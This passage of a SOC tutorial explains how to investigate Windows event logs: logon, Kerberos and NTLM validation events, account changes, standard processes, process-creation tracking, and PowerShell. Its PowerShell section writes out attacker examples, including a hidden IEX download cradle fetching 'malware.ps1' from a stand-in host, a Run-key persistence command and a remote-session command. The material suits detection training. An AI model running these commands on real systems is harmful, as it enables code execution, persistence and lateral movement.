# Investigating with Windows Event Logs As you know, the most used Operating System (OS) worldwide is Microsoft Windows. Attackers know this, and every day, they develop new malware and techniques to target Microsoft Windows OS platforms. As a SOC analyst, you must understand the provided event logs by Microsoft in Windows environments that help you to investigate and detect cyber breaches ### Windows event types **Windows event logs** are detailed records of most events happening on a system. Those detailed records originated from Microsoft to help system admins to troubleshoot and diagnose system problems. Examples of the events that trigger event logs on the Microsoft OS are successful or failed authentication, system rebooting, and process creation Microsoft event logs are **stored** in the C:\Windows\System32\winevt\Logs This location can be changed by modifying the file registry key that refers to the storage location for Windows logs. This registry key is located under the HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ registry hive. we will divide this section into four subsections: • Security event log types • System event log types • Application event log types • Other event log types ### Security event log types The security event log type is the **most valuable l**og type generated by the Windows OS, as by analyzing this log file, you will be able to fully track user **activity and behavior,** since the security log file includes records for all the following categories: **• Logon events**: Records for every **login attempt** activity of the system, including either **success or failure login**s, as well as the logoff activity. • **Logon validation** events: Records for every **credential’s validation activity**. This type of event exists on a machine that validates the login credentials; hence in the case of a **domain environmen**t, such a**n event will be generated on the domain controller,** and in the case o**f local account authentication**, such an event will be generated on the machine itself. • **Object access events**: Records for every access to **shared files and folders and objects** that have a system access control list specified, such as **files**, **folders**, and **registry keys**. • **Account management events**: Records for every **account management** and **change activity**, such as **account creation**, **deletion**, **enabling**, **disabling**, additions to a new group, and **password changes**. • **Privilege use event**s: Records for every **admin-privileged account login** success to a system. • **Process tracking** events: Records for every **process starting and exiting** activity ### System event log types The system event log type is more important to **system admins to troubleshoot** and diagnose system problems, but it also includes some useful records for security analysts, as follows: • **System startup and shutdown**: Records for every **Windows startup**, **shutdown**, and **time change** • **Services status**: Records for every **Windows services activity**, such as **creation**, **starts**, and **stops** • **Firewall status**: Records for every **Windows firewall** activity, such as **enabling**, **starts**, and **stops** ### Application event log types The application event log type contains events logged by **any application** configured to store its logs in a Windows application log file. Such **configurations** can be determined by the developers during application development. The application logs may contain event logs generated from applications such as the **antivirus or a database.** **Other event log types** Windows event log types are not limited to security, The most valuable log files of these events are as follows: • **PowerShell logs:** There are two event log files that record **PowerShell** activities, such as **execution**, **command-line arguments,** and **fully executed scripts** • **Scheduled tasks** logs: These event log files contain records of **scheduled** task **creation**, **start**, and **stop** activities • **RDP logs**: These event log files contain records to track **Remote Desktop Protocol** (RDP) connections • **WMI logs**: These event log files contain records of **Windows Management Instrumentation (WMI)** event consumer creations To analyze the extracted logs from the Windows machine offline,you can use the **Event Log Explorer** tool. It is GUI third-party event log management software that supports the **EVT and EVTX** file formats.
Also, there is another option, a free tool called **EvtxECmd**, which is a command-line tool used to parse and analyze Windows event log files, specifically the **.evtx file format.** You can download the tool from following link: ( EvtxECmd.zip). ### Account login tracking Microsoft gives you the ability to track every **login attempt** that either **succeeded or failed** by recording event logs for each login attempt. These events include valuable information, such as **attempt time**, **account name**, **authentication method**, and so on. All the authentication logs are logged in the Security log file we will divide this section into five subsections: • Windows accounts • Tracking successful logins • Tracking successful administrator logins • Tracking logon sessions • Tracking failed logins #### Windows accounts **Standard Windows accounts** are **basic** Windows accounts, such as those created for **an employee by their organization’s** system admin to use **for normal day-to-day tasks** the account will be able to perform **common** tasks such as r**unning applications, accessing files and folders, and browsing the internet**. However, they **cannot** perform actions that require **elevated privileges**, such as **installing software**, **changing system settings**, or **accessing** certain **system** If a **standard account** is **compromised**, the **attacker** will have **limited** access to system resources and **will not be able to perform critical tasks without elevating their privileges.** #### Default local system accounts Every Windows application, process, and service must run under the context of an account with appropriate security privileges **SYSTEM**: The SYSTEM account is the **most** powerful account of all the default local system accounts. The SYSTEM account has **complete control** over the system and can **access all** resources and objects. There are many **high-privilege** services and processes in the Windows operating system that run under the context of the SYSTEM account. **NETWORK SERVICE**: The NETWORK SERVICE account is a **local system** account on the Windows operating system with **limited privileges** but **enough** to be used by specific Windows services and processes to authenticate over the network. It does this by **presenting** the **computer’s credentials** to remote servers. Unlike the SYSTEM account, which has complete control over the system, the NETWORK SERVICE account has **restricted privileges**, **similar** to a **standard account**, and can **only** access resources that it has been **explicitly granted** access to. This makes it a mo**r**e **secure** option for services and processes that do not require the same level of access as the SYSTEM account **LOCAL SERVICE**: The LOCAL SERVICE account is a local system account with **limited privileges**, **similar** to the NETWORK SERVICE account, but it is **not allowed** to present the **computer’s credentials** to remote servers. Instead, it uses **null sessions** for network communications. The LOCAL SERVICE account is used by the processes and services they run with **limited privileges locally** on the system and is not required to authenticate over the network ### Tracking successful logins Tracking the **successful** authentications for Windows accounts is very valuable for SOC analysts to investigate and hunt for **suspicious** users’ activities Microsoft allows you to track any successful account logins into systems by recording Event ID **4624** which is **An account was successfully logged on**

An account was successfully logged on

Let’s discuss the sections that are valuable to our investigations • Subject: This section holds the details of the account that requested the logon, not the user who logged on. For Event ID 4624, the values of the Subject section are usually **empty** and **not useful**. • Logon Information: This section refers to **information about the logon** itself. The most valuable piece of information in this section is **Logon Type**. The Logon Type field allows the analyst to **identify the logon method** and **how the user logged on to the system**. The logon types are identified by a **numeric value** and each value corresponds to a specific logon method, as follows

Logon types

• New Logon: This section includes information about the user **whose credentials were used** to successfully log on to the system (the user who logged on to the system). The valuable fields in this section for incident investigations are **Account Name, Account Domain, and Logon ID:** ‚ Account Name: The account that’s logged on to the system. ‚ Account Domain: The domain of the account that’s logged on to the system. This field is useful to identify if the account that was used to log on **is a local account by comparing the value of this field with the computer’s name**. If the two names match, then the account is a local account ‚ Logon ID: **A unique session identifier** for every logon session. We use this field to identify the session’s duration • **Process Information**: This section includes information about the **Windows process** that **initiated** the logon activity. This field may help you observe any unusual process that initiated the logon activity other than the standard Windows logon processes. • **Network Information**: This section allows you to determine from **which system** the user **entered** the credentials to log on to the system. If the logon attempt was initiated from the **same** computer, this field will be empty or contain the **same computer** information **(IP and Name)**. This field’s values are very valuable while investigating lateral movement attempts, Event ID 4624 is highly valuable for SOC analysts for incident investigation and threat hunting. This event can be used to identify **compromised accounts**’ activities, including the machines the account logged on to, the timing of the activities, the logon **method used**, and the **location** of the logon in case of **remote login**. Additionally, it can be used to **detect anomalies** such as **RDP logins** to workstations from other regular workstations or public IPs, **successful logins outside** of **regular working** hours, **unauthorized** network **share access**, and more. ### Tracking successful administrator logins Administrative privilege accounts are the most **sensitive** accounts that a SOC analyst should investigate and track during a cyber incident investigation. Microsoft allows you to track every successful administrator account login into systems by recording Event ID **4672**, called **Special privileges assigned to new logon**

Special privileges assigned to new logon.

the event log consists of two sections. The first section contains **information about the administrative privilege** account, such as **Security** ID, **Account Name**, **Account Domain**, and **Logon ID**, while the second section contains **detailed information** about the administrative privileges that the account has. For this example, this event indicates that an administrator account named **pbeesly** logged on to the system. ### Tracking logon sessions every account login session has a **unique Logon ID**. This **Logon ID** allows you to **track users**’ **activities during the logon session**, as well as identify the duration of the session. Most of the events in the Security log file contain the Logon ID field value, which you can use to track user activities such as **process execution, object access**, and so on during the **same logon session**. You can also use the Logon ID value for **interactive logon sessions** such as logon types 2, 10, 11, and 12 to identify the **logon session’s length**. For the other logon types, such as logon type 3, this field value won’t be useful as you will notice that the session started and ended instantly because the session starts when you request to access the shared resource and ends once the resource has been accessed. it is necessary to correlate between the Event IDs that represent the **start and end of the session**. For instance, to determine the length of an account’s logon session, SOC analysts can correlate between the successful logon Event IDs, such as **4624 or 4672,** and the l**ogoff session IDs**, **such as 4647 or 4634.** This will provide a clear view of **how long a user has been active** on the system, which can be valuable information while investigating security incidents. ### Tracking failed logins One of the first objectives an attacker has after gaining initial access to the victim’s machine is to elevate their security privileges. One of the privilege escalation techniques is to gain valid privilege account access by brute-forcing or password-spraying admin and high-privilege accounts. Therefore, tracking the account’s authentication failure is very valuable to SOC analysts as they can investigate or detect such activities. Microsoft records every authentication failure attempt by generating Event ID 4625, called **An account failed to log on.** This event contains very valuable information, such as the **failure timestamp, logon account, logon account domain, logon type, and logon failure reason.** ``` An account failed to log on. Subject: Security ID: NULL SID Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3 Account For Which Logon Failed: Security ID: NULL SID Account Name: medhat Account Domain: medhat.com Failure Information: Failure Reason: Unknown user name or bad password. Status: 0xC000006D Sub Status: 0xC000006A Process Information: Caller Process ID: 0x0 Caller Process Name:- Network Information: Workstation Name: win-2 Source Network Address: 10.0.0.1 Source Port: 54001 Detailed Authentication Information: Logon Process: [Process, e.g., "NtLmSsp"] Authentication Package: NTLM Transited Services: - Package Name (NTLM only): - Key Length: 0 ``` This event is generated when a logon request fails. It is generated on the computer where access was attempted. The **Failure Information** section includes information about the **authentication failure reason** and consists of three fields: **Failure Reason, Status, and Sub Status.** In most cases, the Failure Reason and Status fields mean the **same thing** – the only difference is that the **Failure Reason value is textual,** the Status value is a hexadecimal code. Sub Status is a hexadecimal code that provides a specific and accurate reason for the logon failure

– Windows logon failure Status and Sub Status codes

Event ID 4625 is valuable for SOC analysts in investigating and detecting password-cracking attacks such as password brute-forcing and password spraying. Also, the Failure Reason section, especially the Sub Status field, is valuable for identifying the logon failure reason and investigating suspicious reasons such as a username not existing, which may indicate that an attacker is guessing usernames to log in, and someone logging in using a disabled account, which may indicate abnormal authentication activities after a certain number of **login failure** attempts when using an account, the account will **be locked** for a period that is also predefined by the policy. When this occurs, Microsoft records Event ID **4740**, called **A user account was locked out** ### Login validation events Login validation events are the events of the Credential validation results. While logon events such as 4624, 4625, and 4672 are recorded on the workstation that the user tried to log into, the login validation events are logged by the system responsible for authenticating the credentials. in the case of domain account authentications, the **domain controller** serves as the **authentication server** and logs the login validation events, while in the case of **local account** authentications, the **workstation authenticates** the logon credentials using the **local SAM database** and the logon validation events are recorded in the workstation itself. Such events are valuable for tracking local account authentication attempts in your organization ### Login validation Event IDs (NTLM protocol) Event ID **4776** records both successful and **failed attempts** regarding credentials validation when the **NTLM protocol** is used. ``` The computer attempted to validate the credentials for an account. Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 Logon Account: medhat Source Workstation: $win-2 Error Code: 0xC000006A ``` * **Authentication Package**: This indicates which authentication package was used. "MICROSOFT\_AUTHENTICATION\_PACKAGE\_V1\_0" is indicative of NTLM authentication. * **Logon Account**: This field indicates the account name for which validation was attempted. In the given example, the account name is "medhat". * **Source Workstation**: This shows the name of the workstation or computer from which the authentication request originated. In the example, it's "win-2". * **Error Code**: This provides more detailed information about the reason for the failure. "0xC000006A" usually indicates a correct username but incorrect password. It's crucial for administrators to monitor this event, especially for large numbers of failed attempts, as it can indicate brute force attacks or other malicious activity. ### Login validation Event IDs (Kerberos protocol) • Event ID **4768**: This event records a **Ticket Granting Ticket** (TGT) being **created**, which means that the **authentication** process **succeeded** over the **Kerberos** authentication protocol and a TGT has been granted to the user for a certain period. • Event ID **4769**: This event records when the DC **successfully** authenticated the credentials over **Kerberos** and granted the **user a service ticket** to access the **server resources**, such as **shared** files and folders. • Event ID **4771**: This event records pre-**authentication failures**, which means that the domain controller **failed** to validate the provided credentials, so the DC **won’t grant TGT or Ticket Granting Service (TGS)** tickets. ``` Kerberos pre-authentication failed. Account Information: Security ID: medhat.com\medhat Account Name: medhat Service Information: Service Name: krbtgt/medhat.com Network Information: Client Address: 10.0.0.1 Client Port: 54001 Additional Information: Ticket Options: 0x40810010 Failure Code: 0x18 Pre-Authentication Type: 2 Certificate Information: Certificate Issuer Name: Certificate Serial Number: Certificate Thumbprint: Certificate information is only provided if a smart card logon is being attempted. Status: Status: 0xC000006D Sub Status: 0xC000006A Detailed Authentication Information: Logon Process: Kerberos Authentication Package: Kerberos Transited Services: - Package Name (NTLM only): - Key Length: 0 ``` \ Event ID 4771 indicates a Kerberos pre-authentication failure. Kerberos is an authentication protocol used in Windows Active Directory environments. When a user attempts to log on, the system performs pre-authentication to confirm the user's password is correct without actually sending the password over the network. A 4771 event is logged on the domain controller when this pre-authentication fails, which could be due to various reasons such as a bad password or time synchronization issues. Here's an example of what the event log might look like for a failed Kerberos pre-authentication: ```yaml yamlCopy codeEvent Type: Failure Audit Event Source: Security Event Category: Account Logon Kerberos pre-authentication failed. Account Information: Security ID: medhat.com\medhat Account Name: medhat Service Information: Service Name: krbtgt/medhat.com Network Information: Client Address: 10.0.0.1 Client Port: 54001 Additional Information: Ticket Options: 0x40810010 Failure Code: 0x18 Pre-Authentication Type: 2 Certificate Information: Certificate Issuer Name: Certificate Serial Number: Certificate Thumbprint: Certificate information is only provided if a smart card logon is being attempted. Status: Status: 0xC000006D Sub Status: 0xC000006A Detailed Authentication Information: Logon Process: Kerberos Authentication Package: Kerberos Transited Services: - Package Name (NTLM only): - Key Length: 0 ``` * **Failure Code**: This provides the specific reason for the pre-authentication failure. The code "0x18" specifically indicates a bad password, but other codes might represent other failure reasons. * **Pre-Authentication Type**: This field indicates the type of pre-authentication used. For example, type "2" indicates Kerberos. * **Status** and **Sub Status**: These codes provide additional information about the failure. In the example given, "0xC000006D" indicates a logon failure, and "0xC000006A" indicates the username is valid but the password is incorrect. Monitoring 4771 events is vital for administrators, as a surge of these events could indicate potential brute-force or password-spray attacks.

Common failure code

### Account and group management tracking Microsoft records several events that allow you to track account and security group management activities such as account creation, account deletion, account disablement, group creation, adding and removing accounts from security groups, and changes made to accounts • Tracking account creation, deletion, and change activities • Tracking creation and account adding to security groups #### Tracking account creation, deletion, and change activities Microsoft allows you to track account creation, deletion, and change activities by recording several events in the Security Event log file. The most valuable of these events is Event ID **4720**, which records **new account creation activities.** This event is particularly useful for detecting an attacker’s attempts to maintain **persistence** in the compromised environment by **creating** new accounts Also, an attacker may **create** a new account and **add** it to a **high**-**privilege** group by performing a **privilege escalation** technique to ensure that they can access the system ``` A user account was created. New Account: Security ID: medhat.com\medhat Account Name: medhat Account Domain: medhat.com Logon ID: 0x30DC2 Attributes: SAM Account Name: medhat Display Name: Medhat User Principal Name: medhat@medhat.com Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: Account Expires: Primary Group ID: 513 Allowed Logon Hours: - Additional Information: Privileges: - Group Memberships: [Any groups the user was added to upon creation] This event is generated when a new user account is created. It is generated by the computer that created the account. ``` By monitoring this event, administrators can keep track of user account management activities in their environment, ensuring that only authorized accounts are created and that they adhere to organizational policies and standards.

Account management events

#### Tracking creation and account adding to security groups The Active Directory security groups are used to assign specific security privileges to their members, so the privileges of the accounts can be inferred from the security group they are members of. To identify the privileges of a newly created account, you can look for another event that indicates the group to which the account has been added. This event will occur after the account creation event and will allow you to determine the account’s privileges based on its security group membership ``` Event ID: 4728 : A member was added to a security-enabled global group. ``` ``` A member was added to a security-enabled global group. Subject: Security ID: [SID of the User who added the member] Account Name: ADMINISTRATOR Account Domain: DOMAIN.COM Logon ID: [Logon ID of the action] Member: Security ID: [SID of the member added] Account Name: medhat Group: Security ID: [SID of the group] Group Name: GlobalGroupName Group Domain: DOMAIN.COM Additional Information: Privileges: [Any specific privileges if applicable] ``` This event is generated when a user is added to a security-enabled global group. It is generated by the domain controller where the group resides. There are other events for adding and removing accounts to/from security groups. These events have a similar structure to the account creation event, but the difference is in the action and the type of security group that the account becomes a member of or removed from
, Microsoft also records the security groups’ creation and deletion activities

Security group creation and removal events

### Investigating Suspicious Process Execution Using Windows Event Logs • Introduction to Windows processes • Windows process types • Windows process tracking events • Investigating suspicious process executions Windows processes are programs running in the background carrying out Windows operations and program or application execution on a Windows operating system. Each process has its own memory space and resources allocated to it. Everything in the Windows environment, such as account login, file access, memory sections, running DLLs, program and application executions, and so on are tied to a process. Windows processes run in memory with their associations, and you can view the running process on a live machine by either using a command-line tool such as the Tasklist tool or by using a GUI tool such as the Task Manager tool
Each Windows process has the following aspects: • A **process name**, which refers to the name of the executed program in the background. • A **process ID**, which is a unique dynamic identifier for each running process in a single Windows operating system. • A **process path**, which refers to where the process file is located and executed. • A username that defines under context of which user the process is running which helps to determine the security privileges the process is running with. • A **command**-**line** argument, which refers to the process arguments, options, and switches. The process command line is usually used to tell the process what to do. • Most Windows processes have a **Parent** process that **spawned** them

Windows process attributes

#### Windows process types • Standard Windows processes • Non-standard Windows processes The **standard** Windows processes are processes that are **developed** by **Microsoft** and **exist** on Windows platforms for the operating system’s operations such as the boot, login, and services operations. **Non**-**standard** processes are processes that are **not developed** by **Microsoft** and do **not exist** by default installation of the Windows platforms. These processes may be legitimate, such as custom in-house software, or they may be malicious, such as malware or other unauthorized programs. #### Common standard Windows processes Understanding those processes and their normal behavior will help you to observe any abnormal behavior, as well as to detect malware trying to hide in plain sight by using similar names or even the same name and running from different locations

Using the Process Hacker tool to view some Windows standard processes

Process Hacker is a free tool that helps you to explore and investigate the running processes, services, and network communications conducted by processes on live Windows systems. **System**: A kernel-mode process that is responsible for **threads** that run in **kernel mode**: • **Process name**: System • **Process path**: N/A • **Username**: SYSTEM • **Number of instances**: One • **Parent process**: N/A **Session Manager** (**smss**.**exe**): The session manager process is the first **user-mode** process that is responsible for creating new sessions in a Windows operating system. The first instance of smss. exe is the **master** **instance**, which then **creates new instances** of the **smss**.**exe** process for each new session **by starting the csrss.exe** process and then **wininit.exe** for session **0**, which handles the **Windows services**, or **winlogon.exe** for **session 1** and higher to handle users logging in: • **Process name**: smss.exe • **Process path**: %Systemroot%\System32\smss.exe • **Username**: **SYSTEM** • **Number of instances:** One for the master instance plus one for each new session creation • **Parent process**: System **Client Server Runtime Subsystem (csrss.exe):** The csrss.exe process instance is created for **every new session** to **manage the processes** and **threads** and **import DLLs** that provide the Windows API: • **Process Name**: csrss.exe • **Process Path**: %Systemroot%\System32\csrss.exe • **Username**: SYSTEM • **Number of instances**: One per session • **Parent process:** N/A (created by the smss.exe instance but it does not appear as a parent process in any analysis tool) **Windows initialization (wininit.exe):** The process that represents session 0 and is responsible for **initializing the Service Control Manager** (services.exe), and the Local Security Authority process (lsass.exe): **• Process name:** wininit.exe **• Process path**: %Systemroot%\System32\wininit.exe **• Username**: SYSTEM **• Number of instances:** One **• Parent process**: N/A (created by an smss.exe instance but it does not appear as a parent process in any analysis tool) Service Control Manager (services.exe): The process responsible for **loading** and **launching** the **Windows services and drivers**: • **Process name**: services.exe • **Process** **path**: %Systemroot%\System32\services.exe • **Username**: SYSTEM • **Number of instances**: One • **Parent process**: wininit.exe **Service Host (svchost.exe):** The process responsible for **running** and **hosting service** DLLs. There are multiple instances of svchost.exe – each instance uses the unique “-k” parameter in the command-line argument of the process instance to group similar services in one instance : • **Process name**: svchost.exe • **Process path**: %Systemroot%\System32\svchost.exe • **Username**: **SYSTEM**, LOCAL SERVICE, or NETWORK SERVICE • **Number of** **instances**: Many • Parent process: services.exe **Runtime Broker (RuntimeBroker.exe):** The process that helps **manage permissions** on **your PC for apps** from the Microsoft Store by acting as a proxy between Windows Universal apps and privacy/security: • **Process name**: RuntimeBroker.exe • **Process path:** %Systemroot%\System32\RuntimeBroker.exe • **Username**: The logged-in user • **Number of** **instances**: One or more **• Parent process**: svchost.exe **Local Security Authentication Service (lsass.exe)**: The lsass.exe process is **responsible for authenticating users either against the domain controller** for domain accounts or the SAM table for local accounts. It is also responsible for i**mplementing the security policy and storing the authentication credentials in its memory section,** making it a **prime target for attackers** trying to steal login credentials: • Process name: lsass.exe • Process path: %Systemroot%\System32\lsass.exe • Username: SYSTEM • Number of instances: One • Parent process: wininit.exe **Windows Logon (winlogon.exe):** The process that handles **interactive user logins** and **logouts**. This process is also **responsible for loading the LogonUI.exe process to receive credentials from the user and then passing the provided credentials to the lsass.exe** process for validation, either against the domain controller database or local SAM table: • Process name: winlogon.exe • Process path: %Systemroot%\System32\winlogon.exe • Username: SYSTEM • Number of instances: One for each interactive user login • Parent process: N/A (created by the smss.exe instance but it does not appear as a parent process in any analysis tool) **Logon User Interface (LogonUI.exe)**: The LogonUI.exe process is responsible for **handling the user interface for the Windows login screen**. When a user **attempts to log in, LogonUI.exe is launched to display the login screen** and receive the user’s credentials. Once the user’s credentials are entered, LogonUI.exe passes them to the appropriate process, such as winlogon.exe or lsass.exe, for authentication and further processing: • Process name: LogonUI.exe • Process path: %Systemroot%\System32\LogonUI.exe • Username: SYSTEM • Number of instances: One or more • Parent process: winlogon.exe **Windows Explorer (explorer.exe):** The Explorer process is **responsible for providing the user interface for the desktop, taskbar, and file manager in Windows**. It also provides access to system files, folders, applications, and features to logged-in users: • Process name: explorer.exe • Process path: %Systemroot%\explorer.exe • Username: The logged-in user • Number of instances: One for each interactive user login • Parent Process: N/A #### **Windows Process Tracking events** you may now be wondering whether we can track the process creation activities using Microsoft Windows events. Microsoft allows you to track every process creation and termination activity by recording two Event IDs in the security event log file: • Event ID **4688** records every **process creation** activity • Event ID **4689** records every **process exit** activity ```vbnet A new process has been created. Creator Subject: Security ID: SYSTEM Account Name: Medhat Account Domain: medhat.COM Logon ID: [Logon ID associated with the creator] New Process Information: Security ID: [SID of the new process] Process ID: [Numeric Process ID, e.g., 1234] Process Name: C:\Path\to\executable.exe Token Elevation Type: [Type, e.g., TokenElevationTypeDefault (for standard)] Mandatory Label: [Sensitivity label, e.g., S-1-16-8192 for medium integrity] Creator Process ID: [ID of the parent process, if applicable] Creator Process Name: C:\Path\to\parent\executable.exe Process Command Line: [Command line arguments, if any] ```
* **Creator Subject**: This provides details about the user or service that started the new process. * **New Process Information**: This offers details about the new process itself, including its path, command line arguments, and any parent process. * **Token Elevation Type**: This section is especially important in environments with User Account Control (UAC) as it indicates whether the process was started with elevated privileges. ‚ %%1936: This is the Type 1 token, which is a full token that contains all security information, including privileges and group membership, without any modification. These tokens are only used when UAC is disabled or for certain built-in accounts such as administrator, service, or local system accounts ‚ %%1937: This is the Type 2 token, which is an elevated token that includes all privileges and groups without any removed or disabled. This type of token is used when UAC is enabled, and the user chooses to run a program as an administrator. Also, this token is used when an application is configured to always require administrative or maximum privilege, and the user is a member of the Administrators group. ‚ %%1938: This is the Type 3 token, which is a limited token with administrative privileges removed and administrative groups disabled. This limited token is used when UAC is enabled, the application does not require administrative privilege, and the user does not launch the application via Run as an administrator Mandatory Label: Refers to the process integrity level that is used by Mandatory Integrity Control, which provides a mechanism for controlling access to securable objects. For instance, a process with a low integrity level cannot write to an object with a medium integrity level. As per Microsoft, the following table describes all available process integrity values for the Mandatory Label field

Process integrity values for Mandatory Label

By monitoring and analyzing Event ID 4688, security teams can gain insights into what applications and services are running on their systems and identify any unexpected or malicious activity.
``` A process has exited. Process Information: Security ID: [SID of the user or service] Account Name: JOHNDOE Account Domain: DOMAIN.COM Logon ID: [Logon ID associated with the user] Process ID: [Numeric Process ID, e.g., 2345] Process Name: C:\Path\to\terminated\executable.exe Exit Status: [Numeric exit status, e.g., 0 for normal termination] ``` Event ID 4689 (A process has exited.) we were able to determine the running duration of the process by correlating the process ID of the newly created process in Event ID 4688 with the same process ID as the exited process in Event ID 4689. ### Investigating suspicious process executions #### Hiding in plain sight An attacker may name their malware with names similar to the common standard Windows process names, such as **Svch0st**.**exe**, **scvhost**.**exe**, **lssas**.**exe**, and so on, or even name a malware process with the same name as a common Windows process and then save and load it from a Windows path other than the one that the original legitimate process file was saved and is running from. Both techniques are utilized by attackers to hide in plain sight and evade detection efforts. To effectively detect and investigate such suspicious activities, it is essential to know the common Windows standard process names, their full paths, and their expected parent processes. . Here's a fictitious example of what you might find in a Windows Event Log with a process creation event (like Event ID 4688) that suggests the "hiding in plain sight" technique: ``` A new process has been created. Creator Subject: Security ID: [SID of the user or service] Account Name: medhat Account Domain: MEDHAT.COM Logon ID: [Logon ID of the action] New Process Information: Security ID: [SID of the new process] Process ID: 4567 Process Name: C:\Users\medhat\Downloads\svchost.exe Token Elevation Type: %%1938 Mandatory Label: S-1-16-8192 for medium integrity Creator Process ID: [ID of the parent process, if applicable] Creator Process Name: C:\windows\system32\cmd.exe Process Command Line: ``` As you may have noticed, the svchost.exe process, in this case, is running from the C:\Windows path and, as we know the legit svchost.exe process should run from the C:\Windows\System32\ path. Also, the svchost.exe process has been spawned from the cmd.exe process, and, as you know, the expected parent process of a legitimate svchost.exe process is the services.exe process. If you are not aware of the standard Windows processes’ normal behaviors, you won’t be able to observe these techniques. once you have a good understanding of the normal behavior of Windows standard processes, you can easily detect any malware process that is attempting to masquerade as a legitimate Windows process. Because you will never know all of the normal behaviors and attributes in Windows, there is a useful platform called ECHOTRAIL that provides you with useful information about Windows processes, such as their process descriptions, expected full paths, top parent processes, and top hashes, and a security analysis of the process. By submitting the name or hash of a Windows process, whether standard or not, you can gain insights into its legitimacy and potential security risks. The platform is accessible here: {% embed url="" %}
#### Living Off The Land (LOTL) A LOTL attack is when an attacker decides to depend on the **legitimate** **software** and binaries available in the victim’s system to perform his malicious activities and achieve his objectives instead of uploading new malware and tools to the infected host to evade detection efforts. The most common examples of LOTL tools and binaries are **Powershell.exe,** **cmd.exe, Rundll32.exe, net.exe, adfind.exe, ipconfig.exe, reg.exe, and wmic.exe**
To document and provide information on the binaries, scripts, and libraries that can be used for LOTL techniques, the LOLBAS project was founded. The goal of this project is to create a comprehensive list of these tools, along with usage examples and detection mechanisms, to help defenders better understand and identify LOTL attacks . github.io
#### Suspicious parent-child process relationships A suspicious parent-child process relationship is when a process **spawns** an unexpected process or when the process has an unexpected parent process. Investigating the parent-child relationships of the process helps you to investigate the majority of malicious process execution activities, including the two previously discussed techniques (the hiding in plain sight and LOTL techniques) Scenario 1: An attacker may gain initial access to the victim’s system by sending a weaponized Microsoft Office document. In this case, a Microsoft Office process such as the excel.exe or winword.exe process will appear in Event ID 4688 as a parent process spawning an unexpected process, whether a Windows utility such as Rundll32.exe and Mshta.exe or a Windows command and scripting interpreter process such as powershell.exe or cmd.exe to execute malicious code or scripts or even download additional payloads from an external server Scenario 2: An attacker may inject their malicious code into a legitimate Windows process such as the svchost.exe or explorer.exe process to enforce the legitimate process to execute the malicious code and perform their malicious intents and actions. Execution via process injection is usually conducted to elevate privileges and evade detection by antivirus programs or other security measures
In general, after observing suspicious **process execution** activities, you can utilize the newly **created process** ID and parent process ID fields of Event ID 4688 to track the full process tree for the suspicious process. By analyzing the process tree, you can identify the source of the suspicious activity, such as the initial parent process that launched the chain of events leading to the suspicious process, and any subsequent child processes spawned by the suspicious process

Tracking the process’s tree

we were able to track the full process tree spawned from the suspicious screensaver process, ‮cod.3aka3.scr. We started the investigation by identifying the process ID of the screensaver process, which was 0x214c. From there, by using the process ID value but this time searching for it as a creator process ID, we observed that this process spawned an unexpected cmd.exe process with the process ID 0xad4. To investigate further, we searched for 0xad4 as a parent process ID and discovered that it spawned the powershell. exe process. By tracing the process tree in this manner, we were able to identify the entire chain of processes spawned by the initial suspicious process and gain a better understanding of the attacker’s actions
### Suspicious process paths During the investigation of the process execution activities, you should pay attention to the full process path. The most **common** suspicious process paths are the **user profile** paths and **Temp** folders. Additionally, you may observe a non-standard Windows process running from the Windows system file paths, such as the **System32** or **SysWOW64** paths
there are several process executions from the **Temp** directory, which is a preferred directory for most attackers to use to save and execute their malicious binaries. , it is important to note that during investigations, you may observe a malicious process running from a specific path, which we called the attacker’s working directory. In this case, for deep investigation and tracking, It is highly recommended to track any other process execution activities from this directory, as most attackers prefer to save all their collected files, scripts, and binaries in one directory

– Several suspicious process executions from the attacker’s working directory

### Investigating PowerShell Event Logs PowerShell extended its functionality by depending on **cmdlets** (pronounced command-lets), which are collections of **specific commands allowing PowerShell users to conduct specific tasks, such as remote to another system; display processes; and more.** Cmdlets follow a verb-noun naming pattern and commonly consist of three different entities – a verb, a noun, and an option: verb-nou**n\[-parameter].** See some examples here: • **Get**-**Process -name** **svchost**: The Get-Process cmdlet is used to **obtain information about the processes running on a compute**r. By specifying the **-name** parameter followed by **svchost**, the command filters the results to only **display processes** with the exact name, **svchost**. • **Get-Command -Type Cmdlet:** The Get-Command cmdlet is used to **retrieve information** about the **commands** available in PowerShell. By specifying the **-Type parameter** followed by Cmdlet, the command filters the results to **only display cmdlets** • **Why do attackers prefer PowerShell?** • It is installed and whitelisted by default on all Windows operating systems • It generates few digital artifacts • It provides remote access capabilities over an encrypted channel • A growing community exists with available PowerShell penetration scripts ready to use • Several attack and post-exploitation frameworks built on PowerShell exist and are available for everyone to use, such as Nishang, PowerSploit, Empire, and WinEnum Usually, Windows system administrators use PowerShell for configuration and management in their day-to-day operations, which allows PowerShell malicious activities to blend into legitimate regular administration activities • Attackers can lie on PowerShell in all attack phases **PowerShell usage in different attack phases**
let us present a table that describes three PowerShell commands usually used by attackers to achieve malicious intents and objectives, along with an explanation of these commands **Execution** ```powershell powershell -w hidden -ep bypass -nop -c "IEX ((New-Object System.Net.Webclient). DownloadString('http:// soctest.xyz/malware. ps1'))" ``` -w Hidden (hide the command window) -ep bypass (bypass the execution policy) -nop (don’t load any PowerShell profile) -c (entering a command in the PowerShell window) IEX, Invoke-Expression, or iex (evaluate and execute a string (mostly used for malicious purposes)) New-Object System. Net.Webclient). DownloadString (from the System.Net.WebClient library, load DownloadString to download content from a URI into a string variable) **Persistence** ```powershell New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name "socmalware" -Value "C:\Windows\temp\volnaf.exe" ``` New-ItemProperty (cmdlet to create a new registry entry) -Path (entering the path to create the new reg entry) -PropertyType (identifying the type of the new reg entry) -Name (entering the name of the new reg entry) -Value (entering the value of the new reg entry) **Lateral movement** ```powershell Enter-PSSession -ComputerName 10.10.0.2 -Credential $credentials ``` Enter-PSSession (cmdlet to initiate an interactive, remote PowerShell session) -ComputerName (entering the remote computer name or IP) -Credential (passing the login credentials to the remote system) ### PowerShell execution tracking events we will discuss three event logs that are valuable for investigating and tracking suspicious PowerShell execution activities. These events exist in two PowerShell event files – **Event ID 800 exists in the Windows PowerShell Event Log file** and **Event IDs 4103 and 4104 exist in the Microsoft-Windows-PowerShell/ Operational event log file** Microsoft has 